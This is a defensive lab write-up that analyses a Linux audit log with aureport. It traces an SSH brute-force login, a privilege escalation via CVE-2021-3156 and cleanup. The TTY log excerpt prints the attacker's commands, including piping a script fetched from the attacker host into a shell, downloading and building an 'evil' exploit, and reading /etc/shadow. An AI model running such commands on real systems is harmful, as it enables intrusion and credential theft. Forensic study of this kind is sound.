

Audit File Investigation

Analysis of audit logs investigating an attack

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Audit File Investigation

1 Context Overview

The Blue Team lab from BTLO provided an audit log file for investigation.

2 Investigation

The tool aureport can be used for investigation of audit reports in linux.

```
(kali㉿kali)-[~/Desktop/5a00b588e5939aade0741c3324532f5eb4ad4bf7/Challenge Files]
└─$ aureport --help
usage: aureport [options]
      -a,--avc                Avc report
      -au,--auth              Authentication report
      --comm                  Commands run report
      -c,--config              Config change report
      -cr,--crypto             Crypto report
      --debug                  Write malformed events that are skipped to stderr
      --eoe-timeout secs      End of Event Timeout
      -e,--event               Event report
      --escape option          Escape output
      -f,--file                 File name report
      --failed                 only failed events in report
      -h,--host                 Remote Host name report
      --help                   help
      -i,--interpret            Interpretive mode
      -if,--input <Input File name> use this file as input
      --input-logs              Use the logs even if stdin is a pipe
      --integrity               Integrity event report
      -k,--key                  Key report
      -l,--login                Login report
      -m,--mods                 Modification to accounts report
      -ma,--mac                 Mandatory Access Control (MAC) report
      -n,--anomaly              aNomaly report
      -nc,--no-config           Don't include config events
      --node <node name>        Only events from a specific node
      -p,--pid                  Pid report
      -r,--response             Response to anomaly report
      -s,--syscall              Syscall report
      --success                 only success events in report
      --summary                 sorted totals for main object in report
      -t,--log                  Log time range report
      -te,--end [end date] [end time] ending date & time for reports
      -tm,--terminal             TerMinal name report
      -ts,--start [start date] [start time] starting data & time for reports
      --tty                     Report about tty keystrokes
      -u,--user                 User name report
      -v,--version              Version
      --virt                    Virtualization report
      -x,--executable           eXecutable name report
      If no report is given, the summary report will be displayed
```

Figure 1 Aureport

The following command was used to summarize the log file:

```
aureport -if audit.log
```

Audit File Investigation

```
(kali@kali)-[~/Desktop/5a00b588e5939aade0741c3324532f5eb4ad4bf7/Challenge Files]
$ aureport -if audit.log
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log

Summary Report
-----
Range of time in logs: 10/04/2021 20:22:07.664 - 10/04/2021 20:28:06.610
Selected time for report: 10/04/2021 20:22:07 - 10/04/2021 20:28:06.610
Number of changes in configuration: 15
Number of changes to accounts, groups, or roles: 0
Number of logins: 1
Number of failed logins: 87
Number of authentications: 3
Number of failed authentications: 89
Number of users: 3
Number of terminals: 10
Number of host names: 6
Number of executables: 115
Number of commands: 192
Number of files: 298
Number of AVC's: 0
Number of MAC events: 0
Number of failed syscalls: 1606
Number of anomaly events: 0
Number of responses to anomaly events: 0
Number of crypto events: 0
Number of integrity events: 0
Number of virt events: 0
Number of keys: 1
Number of process IDs: 10679
Number of events: 16728
```

Figure 2 Audit report summary

The report contains logs of just 6 minutes. There are 89 failed authentications in just 6 minutes which may indicate brute-force attempt.

The following command was used to see the authentication report:

aureport -if audit.log --auth

```
(kali@kali)-[~/Desktop/5a00b588e5939aade0741c3324532f5eb4ad4bf7/Challenge Files]
$ aureport -if audit.log --auth
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log

Authentication Report
-----
# date time acct host term exe success event
-----
1. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465368
2. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465374
3. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465381
4. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465382
5. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465384
6. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465392
7. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465397
8. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465401
9. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465404
10. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465408
11. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465409
12. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465413
13. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465417
14. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465421
15. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465425
16. 10/04/2021 20:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465430
17. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465470
18. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465476
19. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465481
20. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465483
21. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465485
22. 10/04/2021 20:22:42 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465487
```

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```
58. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465719
59. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465724
60. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465726
61. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465729
62. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465731
63. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465733
64. 10/04/2021 20:22:49 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465736
65. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465803
66. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465808
67. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465811
68. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465813
69. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465815
70. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465819
71. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465823
72. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465829
73. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465831
74. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465832
75. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465836
76. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465838
77. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465841
78. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465843
79. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465845
80. 10/04/2021 20:22:52 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465848
81. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465916
82. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465920
83. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465924
84. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465925
85. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd yes 465936
86. 10/04/2021 20:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465962
87. 10/04/2021 20:22:56 btlo 192.168.4.155 ssh /usr/sbin/sshd no 466002
88. 10/04/2021 20:23:05 btlo 192.168.4.155 ssh /usr/sbin/sshd no 467227
89. 10/04/2021 20:23:13 btlo 192.168.4.155 ssh /usr/sbin/sshd yes 467550
90. 10/04/2021 20:23:34 btlo ? /dev/pts/1 /usr/bin/sudo yes 468442
91. 10/04/2021 20:25:40 btlo ? /dev/pts/1 /usr/bin/sudo no 473858
92. 10/04/2021 20:25:41 btlo ? /dev/pts/1 /usr/bin/sudo no 473860
```

Figure 3 Authentication report

The IP address 192.168.4.155 made 89 unsuccessful authentication attempts before making a successful attempt. The account name targeted was btlo.

The following command was used to see terminal logs:

```
aureport -if audit.log -tty
```

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```
(kali㉿kali)-[~/Desktop/5a00b588e5939aade0741c3324532f5eb4ad4bf7/Challenge Files]
$ aureport -if audit.log --tty
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log

TTY Report
=====
# date time event auid term sess comm data
=====
1. 10/04/2021 20:23:16 468403 1001 pts1 49 sh "hostname",<nl>
2. 10/04/2021 20:23:21 468408 1001 pts1 49 sh "whoami",<nl>
3. 10/04/2021 20:23:26 468414 1001 pts1 49 sh "ls",<nl>
4. 10/04/2021 20:23:27 468419 1001 pts1 49 sh "sudo -l",<nl>
5. 10/04/2021 20:23:34 468447 1001 pts1 49 sh <nl>
6. 10/04/2021 20:23:37 468450 1001 pts1 49 sh "wget -O - http://192.168.4.155:8000/linpeas.sh | sh",<nl>
7. 10/04/2021 20:26:21 480914 1001 pts1 49 sh "lsb_release -a",<nl>
8. 10/04/2021 20:26:31 480921 1001 pts1 49 sh "sudo -V",<nl>
9. 10/04/2021 20:26:36 480934 1001 pts1 49 sh "wget http://192.168.4.155:8000/evil.tar.gz",<nl>
10. 10/04/2021 20:26:45 480944 1001 pts1 49 sh "ls",<nl>
11. 10/04/2021 20:26:50 480947 1001 pts1 49 sh "tar zxvf evil.tar.gz",<nl>
12. 10/04/2021 20:26:59 480982 1001 pts1 49 sh "cd evil",<nl>
13. 10/04/2021 20:27:03 480984 1001 pts1 49 sh "ls",<nl>
14. 10/04/2021 20:27:06 480987 1001 pts1 49 sh "make",<nl>
15. 10/04/2021 20:27:10 481020 1001 pts1 49 sh "./evil 0",<nl>
16. 10/04/2021 20:27:17 481039 1001 pts1 49 sh "whoami",<nl>
17. 10/04/2021 20:27:21 481050 1001 pts1 49 sh "rm -rf /home/btlo/evil",<nl>
18. 10/04/2021 20:27:39 481059 1001 pts1 49 sh "rm /home/btlo/evil.tar.gz",<nl>
19. 10/04/2021 20:27:45 481062 1001 pts1 49 sh "cat /etc/shadow",<nl>
20. 10/04/2021 20:27:50 481064 1001 pts1 49 sh "exit",<nl>
21. 10/04/2021 20:27:53 481065 1001 pts1 49 sh "exit",<nl>
```

Figure 4 Terminal logs

The attacker used discovery commands like hostname and whoami. He used linpeas which is an enumeration tool. He also downloaded a file named evil, ran it and removed it. He also extracted the /etc/shadow file.

The following command was used to see the process id of this binary execution:

```
aureport -if audit.log --pid | grep "evil"
```

```
(kali㉿kali)-[~/Desktop/5a00b588e5939aade0741c3324532f5eb4ad4bf7/Challenge Files]
$ aureport -if audit.log --pid | grep "evil"
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
16152. 10/04/2021 20:27:17 829992 /home/btlo/evil/evil 59 1001 481021
```

Figure 5 Process ID

The process id was 829992.

After research, it was identified that the vulnerability exploited by the attacker was Baron Samedit vulnerability. This can be exploited to gain root privilege.

Audit File Investigation

The screenshot shows the Rapid7 website's 'Rapid7 analysis' page for CVE-2021-3156. The page has a navigation bar with links for PLATFORM, SERVICES, RESOURCES, PARTNERS, and COMPANY. A search icon, a chat bubble icon, and a 'REQUEST DEMO' button are also present. On the left, a 'TABLE OF CONTENTS' sidebar lists: Description, Affected Products, **Rapid7 analysis** (highlighted), Guidance, and References. The main content area is titled 'Rapid7 analysis' and contains two paragraphs of text. The first paragraph describes CVE-2021-3156 as a local privilege escalation vulnerability that requires existing access to a target and involves invoking the sudoedit -s command to perform an out-of-bounds (OOB) write in heap memory, leading to root access. The second paragraph mentions a crash PoC available from Qualys and states that Rapid7 researchers have reproduced the crash and developed the PoC into an exploit, though it may take time before exploits begin to surface.

RAPID7 PLATFORM SERVICES RESOURCES PARTNERS COMPANY 🔍 💬 ➔ REQUEST DEMO

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Rapid7 analysis

CVE-2021-3156 is a **local** privilege escalation vulnerability, which means an attacker requires existing access to a target (such as through remote code execution) in order to exploit the bug. Exploitation is achieved by invoking the `sudoedit -s` command to reach the vulnerable code and perform an out-of-bounds (OOB) write in heap memory. Upon successful exploitation, the attacker would gain root access, resulting in full compromise of the system.

At the time of this writing, a crash PoC is available from Qualys. Rapid7 researchers have reliably reproduced the crash using the supplied PoC. The advisory contains enough technical detail to develop the PoC into an exploit. Researchers will have to bypass any memory protections in place, though the bug allows for a great amount of control over the OOB write, reducing the burden of exploitation. It is only a matter of time before exploits begin to surface.

Figure 6 Vulnerability

CVE-2021-3156 is a Heap-Based Buffer Overflow vulnerability.

Audit File Investigation

3 Findings

1. The attacker used brute-force attack to log in to the system.
2. The attacker used discovery commands like whoami and hostname and also used linpeas which is an enumeration tool.
3. The attacker downloaded a file named evil and executed it to gain root privilege. He removed the file after executing.
4. The attacker extracted /etc/shadow file which contains hashes of user passwords in linux.